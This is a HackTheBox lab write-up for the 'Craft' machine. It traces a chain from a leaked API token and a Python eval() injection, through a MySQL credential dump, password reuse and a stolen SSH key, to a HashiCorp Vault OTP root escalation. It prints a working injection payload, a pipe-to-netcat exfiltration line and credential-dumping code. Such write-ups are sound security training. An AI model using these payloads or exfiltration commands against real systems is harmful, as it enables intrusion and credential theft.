HTB: Craft Writeup

Craft - HackTheBox Writeup

Machine Information

AttributeDetails
NameCraft
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Craft is a Medium Linux box built around a self-hosted Gogs instance and a homegrown “brew” API. A public repository’s issue tracker leaked an internal API token, and mining that repo’s commit history turned up an unsanitized eval() call on user-controlled input — a real-world code-review lesson dressed up as a CTF box. Chaining that injection into command execution on a container, then pivoting through leaked MySQL credentials and a Gogs-hosted SSH private key, leads to a foothold as gilfoyle. Root falls to a HashiCorp Vault misconfiguration: a leftover .vault-token lets you mint a one-time root SSH password directly from the Vault SSH secrets engine.

TL;DR: Gogs public repo → leaked API token + commit-history code review → eval() injection on the /api/brew/ abv field → container RCE → dump MySQL user table via craft_api/settings.py creds → gilfoyle’s password reused on Gogs web login → private repo leaks his SSH key → user shell → ~/.vault-tokenvault ssh -role root_otp -mode otp → root OTP → root shell.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- TARGET_IP

Results: Three open ports of interest:

  • 22/tcp — OpenSSH
  • 443/tcp — Nginx (HTTPS)
  • 6022/tcp — a second SSH listener

Service Enumeration

Browsing to 443 and inspecting the presented TLS certificate exposed two Subject Alternative Names that weren’t in DNS:

Terminal window
# pull the cert and read the SAN field to find hidden vhosts
curl -vk https://TARGET_IP/ 2>&1 | grep -i "subject\|SAN"

This surfaced two virtual hosts:

  • api.craft.htb
  • gogs.craft.htb

Both were added to /etc/hosts. gogs.craft.htb resolved to a self-hosted Gogs (Go Git Service) instance, and its “Explore” page listed a public repository: Craft/craft-api.

Vulnerability Assessment

The repo had an open issue (#2) filed by user dinesh that pasted a working curl example against the API, complete with a live X-Craft-API-Token header — an accidental credential leak sitting in plaintext in the issue tracker. Reading the linked commit that “fixed” the underlying bug revealed the actual vulnerability: the /api/brew/ POST handler validated the abv field with a raw eval() call, something like:

eval('%s > 1' % abv)

Since abv is string-interpolated directly into the expression passed to eval(), this is textbook Python code injection (CWE-95) — anything supplied as abv gets executed as Python, not just compared numerically.


Initial Foothold

Exploitation Path

The trick to a clean injection here is that eval() only accepts a single expression, not statements — so a straightforward reverse-shell one-liner won’t parse. The fix is to use __import__() inline so the whole payload is still one expression, and lean on the fact that os.system() returns an integer exit code — which satisfies the surrounding > 1 comparison without ever raising a SyntaxError:

# abv value sent in the POST body — a bare expression, so `eval('%s > 1' % abv)`
# still evaluates cleanly once os.system()'s int return value is compared to 1
abv = "__import__('os').system(\"<command>\")"
Terminal window
curl -k -X POST https://api.craft.htb/api/brew/ \
-H "X-Craft-API-Token: <leaked token>" \
-H "Content-Type: application/json" \
--data '{"name":"x","brewer":"x","style":"x","abv":"__import__(\x27os\x27).system(\x22id\x22)"}'

Because eval() gives one-shot command execution rather than an interactive shell, spawning a normal nc -e reverse shell inline is unreliable. Instead, each command’s output was piped through netcat to a listener on the jump box — a stateless, pull-per-command channel:

Terminal window
# on the jump box: catch output from each injected command
nc -lvnp <PORT>
# injected command (as the abv payload), piping stdout to the listener
<command> | nc <LHOST> <PORT>

This gave reliable command execution inside the API’s container without needing a persistent shell primitive.

Enumerating the container turned up craft_api/settings.py, which held the MySQL connection parameters (host, user, password, database name) used by the app. With DB creds in hand, a pymysql one-liner (run through the same eval-RCE channel) dumped the user table:

# executed inside the container via the eval() RCE channel
import pymysql
from craft_api import settings
conn = pymysql.connect(
host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor,
)
with conn.cursor() as cur:
cur.execute("SELECT * FROM `user`")
print(cur.fetchall())

This recovered credentials for three accounts: dinesh, ebachman, and gilfoyle.

Lateral Movement to a Shell

None of the three passwords worked directly against sshd — the recovered credentials weren’t valid for password-based SSH auth. They did work, however, against the Gogs web login: gilfoyle’s password authenticated to gogs.craft.htb. Behind that login sat a private repository, craft-infra, containing an SSH private key. The key was itself encrypted, and its passphrase turned out to be the same password recovered from the database — a case of the same secret being reused across three different surfaces (DB password, Gogs web password, and private-key passphrase).

Terminal window
# decrypt/use the leaked key, passphrase = gilfoyle's recovered password
chmod 600 gilfoyle_id_rsa
ssh -i gilfoyle_id_rsa gilfoyle@TARGET_IP

This landed a shell as gilfoyle and user.txt.


Privilege Escalation

gilfoyle’s home directory contained a ~/.vault-token — a leftover authentication token for HashiCorp Vault. Vault’s SSH secrets engine (OTP mode) had already been configured on this box with a root_otp role, meaning any holder of a valid Vault token can request a fresh one-time password to SSH into the target as root — the target’s PAM stack validates that OTP against Vault on login.

Terminal window
# request a root OTP via Vault's SSH secrets engine
vault ssh -role root_otp -mode otp root@127.0.0.1

Vault’s own convenience feature — auto-connecting with the OTP it just generated — failed (a local network-path issue from that host), but critically the OTP itself had already been issued and printed before that attempt, and one-time-password validity isn’t tied to Vault’s own SSH client succeeding. That printed OTP was reused as the SSH password for a manual login as root, run from the jump box instead:

Terminal window
# from the jump box, use the OTP Vault printed as the SSH password
ssh root@TARGET_IP
# Password: <OTP printed by `vault ssh`>

This dropped into a root shell and root.txt.


Attack Chain Summary

Gogs recon (public repo + leaked API token in issue #2)
→ commit-history review reveals eval() injection in /api/brew/ (abv field)
→ __import__('os').system(...) as a bare expression → container RCE
→ craft_api/settings.py leaks MySQL creds
→ pymysql dump of `user` table → dinesh/ebachman/gilfoyle credentials
→ gilfoyle's password reused on Gogs web login
→ private "craft-infra" repo leaks SSH key (passphrase = gilfoyle's password)
→ SSH as gilfoyle → user.txt
→ ~/.vault-token found
→ vault ssh -role root_otp -mode otp root@127.0.0.1 → OTP issued
→ OTP reused manually as root's SSH password → root shell → root.txt

Tools Used

ToolPurpose
nmapPort scanning
curl / TLS cert inspectionDiscovering hidden vhosts via certificate SANs
Gogs (web UI)Recon of public/private repos, issue tracker, commit history
Python (requests, __import__)Crafting the eval() injection payload against /api/brew/
nc (netcat)Stateless per-command output exfiltration from the RCE channel
pymysqlDumping the application’s MySQL user table
sshLateral movement (leaked private key) and root login (Vault OTP)
vault CLIGenerating a root SSH OTP via the SSH secrets engine

Key Learnings

Techniques Practiced

  • Mining a git server’s commit history and issue tracker for leaked secrets and code-review artifacts
  • Python eval() code injection (CWE-95) and crafting a bare-expression payload to dodge a comparison wrapper
  • One-shot RCE without an interactive shell primitive, using a pipe-to-netcat exfil pattern
  • Pivoting from application source (settings.py) to direct database access via pymysql
  • Recognizing credential reuse across unrelated auth surfaces (DB password → web login → SSH key passphrase)
  • HashiCorp Vault SSH secrets engine (OTP mode) for privilege escalation

Lessons Learned

  1. eval() on attacker-controlled input is unsafe even when superficially “constrained” by a comparison — __import__(...).system(...) is still a valid expression that satisfies > 1 while doing arbitrary command execution. Untrusted numeric input should be parsed with float()/ast.literal_eval(), never eval().
  2. Password reuse isn’t all-or-nothing: gilfoyle’s password failed against sshd directly but worked as a Gogs web password and as an SSH key passphrase. Always test recovered credentials against every exposed authentication surface, not just the most obvious one.
  3. “Private” repositories on an internal Gogs instance still leak real secrets (SSH keys) if the platform itself is reachable by a compromised low-privileged account.
  4. Vault’s SSH OTP flow separates issuing the OTP from using it — a failed auto-connect from the requesting host doesn’t invalidate an OTP that was already generated server-side, so it can still be used manually from anywhere with network access to the target.
  5. Because eval() only accepts a single expression, injected RCE primitives sometimes can’t support a full interactive reverse shell in one shot — having a stateless output-exfil pattern (cmd | nc host port) ready is worth keeping in the toolkit.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • MinatoTW, Craft — official HackTheBox writeup (Document No D19.100.47), used here for conceptual/background context on the Gogs → eval() injection → Vault SSH OTP chain.